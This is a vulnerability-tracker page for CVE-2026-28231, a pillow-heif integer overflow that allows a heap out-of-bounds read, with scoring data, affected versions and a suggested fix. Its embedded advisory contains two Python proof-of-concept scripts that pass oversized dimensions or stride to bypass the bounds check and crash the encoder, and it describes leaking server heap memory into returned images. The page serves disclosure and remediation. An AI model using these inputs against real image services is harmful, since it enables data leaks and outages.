CVE-2026-28231

MEDIUMPre-NVD 5.55.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

This medium-severity CVE scores 5.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.7% (53rd percentile of EPSS-scored CVEs). No GitHub Security Advisory CVSS is on record for this CVE.

Triggered by: Headline CVSS from the CNA's CVSS
Sources: the CNA's CVSS, EPSS
Trending — 3 sources updated this weekElevated

Also known asEUVD-2026-9061 (ENISA EUVD) · GHSA-5gjj-6r7v-ph3x (GitHub Security Advisories) · PYSEC-2026-2248 (OSV.dev) · PYSEC-2026-2258 (OSV.dev)Source: ENISA EUVD

5.5EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines at low or medium mission impact and sooner than that at high (the SSVC decision on this page).
  • CISA's Vulnrichment rates exploitation as PoC; EchelonGraph holds no exploit-code reference for it
CISA-KEV: Not listedEPSS PROB: 0.7%CVSS: 5.5Exploit: No code on recordExposed services: Not assessed

A fix is available — apply it.

pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

  • True product: 12,884,901,888
  • int32 product: 0 (wraps around)
  • Comparison: 0 > buffer.len → false → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

  • The decode path is partially guarded by libheif's built-in security limits
  • The encode path has no such guards — DISABLE_SECURITY_LIMITS is irrelevant
  • The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c):

  • _CtxWriteImage_add_plane() — line 158
  • _CtxWriteImage_add_plane_la() — line 344
  • _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Linux (GCC)

CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)

stride_in = 32768 * 3 = 98304

98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)

int32 overflow: wraps to -1,073,741,824

Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED

width = 32768 height = 32768 buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)

buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1) print("[!] encode() succeeded — bounds check was bypassed") except MemoryError as e: print(f"[*] MemoryError (libheif caught it later): {e}") print("[*] int32 overflow occurred — C-level bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

100x100 pixels — well within any security limit

stride=INT_MAX (2,147,483,647), height=100

INT_MAX * 100 overflows int32 → small or negative value

Bounds check bypassed, memcpy reads far beyond the 256-byte buffer

width = 100 height = 100 stride_val = 2_147_483_647 small_buffer = b"\x00" * 256

buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), small_buffer, buf, quality=-1, stride=stride_val) print("[!] encode() succeeded — bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes with exit code 139 (SIGSEGV).

ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
    #0 0x... in  (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
    ...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...) allocated by thread T0 here: #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib) ...

SUMMARY: AddressSanitizer: negative-size-param (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc

The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

Impact

Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

  • Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
  • Content management systems that convert uploaded images to HEIF/AVIF
  • Image processing pipelines that accept user-specified output dimensions

Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:

  • Other users' request data
  • Python objects (strings, byte arrays)
  • Session tokens, API keys, or other sensitive data from the server's heap

Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:

// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed): if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {

Prior art:

  • CVE-2024-5197 (libvpx): integer overflow in vpx_img_alloc(), CVSS 7.5
  • CVE-2024-5171 (libaom): integer overflow in aom_img_alloc(), CVSS 9.8

CVSS v3
5.5
EG Score
5.5MEDIUMmedium confidence
EG Risk
56
EG Risk 56/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity55% × 45%
Impact severity (EG Severity): CVSS 5.5 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation40% × 40%
EchelonGraph's fixed weight for EG-KEV Tier 3 (Elevated): a constant, not a probability.
Automatability100% × 15%
CISA's SSVC Automatable value: yes (Vulnrichment).
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Attend at high (mission-essential systems).
Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
0.7%
EPSS %ILE
53rd
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (5.5): severity, escalated by confirmed exploitation. This CVE's 5.5 is its impact severity (EG Severity), not escalated.

EG Severity
5.5 MEDIUMCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.the CNA's CVSS · CVSS v3.0 or v3.1
EG Likelihood
0.7% within 30 daysSource: FIRST EPSS. FIRST's exploitation probability, not an EchelonGraph model.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Attend at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; 60 days if it is not.Each input and its source: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Attend at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; 60 days if it is not.

In CISA KEV no (CISA's KEV catalog) · Automatable yes (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 20, 2026

Last Modified

July 20, 2026

Vendor Advisories for CVE-2026-28231(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
PyPI(2)
PackageVulnerable rangeFix by version rangeDependents
pi-heif0.10.0 ... 1.2.1 (28 versions)
  • every version up to 1.3.0: fixed in 1.3.0
—
pillow-heif0.1.10 ... 1.2.1 (43 versions)
  • every version up to 1.3.0: fixed in 1.3.0
—

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 9× in last 7d / 37× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

Showing the most recent 93 of 100 refreshes on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. 7 repeat rows among the latest 100 are merged into the row they repeat. The 7 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-10-29 16:33 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  2. 2026-10-28 16:32 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  3. 2026-10-27 16:31 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  4. 2026-10-27 10:25 UTCOSV refresh
  5. 2026-10-26 16:31 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  6. 2026-10-25 16:32 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  7. 2026-10-25 14:38 UTCEG score recompute
  8. 2026-10-24 16:32 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  9. 2026-10-23 16:31 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  10. 2026-10-22 16:34 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  11. 2026-10-21 16:32 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  12. 2026-10-20 16:32 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  13. 2026-10-19 16:31 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  14. 2026-10-18 03:50 UTCEG score recompute
  15. 2026-10-17 16:33 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  16. 2026-10-16 16:41 UTCEPSS rescoreEPSS 0.7% · 53rd percentile
  17. 2026-10-15 16:31 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  18. 2026-10-14 16:32 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  19. 2026-10-13 16:34 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  20. 2026-10-12 16:34 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  21. 2026-10-12 16:13 UTCEG score recompute
  22. 2026-10-12 14:49 UTCEG score recomputeFirst assessed: 5.5 MEDIUM
  23. 2026-10-11 19:59 UTCEG score recompute
  24. 2026-10-11 17:12 UTCEG score recompute
  25. 2026-10-11 14:43 UTCEG score recompute
Show 68 more
  1. 2026-10-11 13:48 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  2. 2026-10-10 20:00 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  3. 2026-10-09 20:07 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  4. 2026-10-08 17:11 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  5. 2026-10-07 23:47 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  6. 2026-10-06 15:17 UTCEPSS rescoreEPSS 0.7% · 52nd percentile
  7. 2026-10-05 17:42 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  8. 2026-10-04 23:21 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  9. 2026-10-03 14:25 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  10. 2026-10-01 19:49 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  11. 2026-10-01 12:32 UTCEG score recompute
  12. 2026-09-30 15:03 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  13. 2026-09-28 13:51 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  14. 2026-09-26 15:58 UTCEPSS rescoreEPSS 0.7% · 51st percentile
  15. 2026-09-26 00:26 UTCEPSS rescoreEPSS 0.7% · 50th percentile
  16. 2026-09-20 20:15 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  17. 2026-09-18 19:27 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  18. 2026-09-17 19:30 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  19. 2026-09-16 14:08 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  20. 2026-09-16 05:15 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  21. 2026-09-13 16:47 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  22. 2026-09-12 15:01 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  23. 2026-09-11 14:52 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  24. 2026-09-10 09:34 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  25. 2026-09-08 22:00 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  26. 2026-09-07 16:01 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  27. 2026-09-06 13:47 UTCEPSS rescoreEPSS 0.6% · 48th percentile
  28. 2026-09-04 05:06 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  29. 2026-09-02 14:11 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  30. 2026-09-01 13:53 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  31. 2026-09-01 04:39 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  32. 2026-08-30 19:17 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  33. 2026-08-30 01:22 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  34. 2026-08-28 21:41 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  35. 2026-08-27 14:25 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  36. 2026-08-26 14:46 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  37. 2026-08-25 13:49 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  38. 2026-08-24 14:17 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  39. 2026-08-23 00:19 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  40. 2026-08-21 23:49 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  41. 2026-08-20 22:55 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  42. 2026-08-19 17:03 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  43. 2026-08-18 13:48 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  44. 2026-08-17 13:47 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  45. 2026-08-16 14:56 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  46. 2026-08-16 02:14 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  47. 2026-08-15 01:30 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  48. 2026-08-13 22:00 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  49. 2026-08-12 13:50 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  50. 2026-08-11 13:42 UTCEPSS rescoreEPSS 0.6% · 47th percentile
  51. 2026-08-11 00:00 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  52. 2026-08-09 13:46 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  53. 2026-08-08 16:37 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  54. 2026-08-06 13:46 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  55. 2026-08-05 19:17 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  56. 2026-08-04 15:10 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  57. 2026-08-03 10:36 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  58. 2026-08-02 02:26 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  59. 2026-08-01 23:06 UTCEG score recompute
  60. 2026-08-01 04:16 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  61. 2026-07-30 16:27 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  62. 2026-07-30 01:30 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  63. 2026-07-28 15:36 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  64. 2026-07-26 14:54 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  65. 2026-07-26 10:46 UTCEG score recompute
  66. 2026-07-25 14:17 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  67. 2026-07-24 14:17 UTCEPSS rescoreEPSS 0.6% · 46th percentile
  68. 2026-07-23 14:18 UTCEPSS rescoreEPSS 0.6% · 46th percentile

Frequently asked(5)

What is CVE-2026-28231?
CVE-2026-28231 is a medium-severity vulnerability; its CVE record was published on July 20, 2026. pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read Summary An integer overflow in the encode path buffer validation of pillowheif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read.…
When was the CVE record for CVE-2026-28231 published?
The CVE record for CVE-2026-28231 was published on July 20, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 20, 2026; the record at its source may have been updated since.
Is CVE-2026-28231 actively exploited?
CVE-2026-28231 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 0.7% probability of exploitation in the next 30 days (53rd percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2026-28231?
CVE-2026-28231 has a CVSS base score of 5.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-28231?
A fix for CVE-2026-28231 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-28231 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-28231

Explore →

Is Your Infrastructure Affected by CVE-2026-28231?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.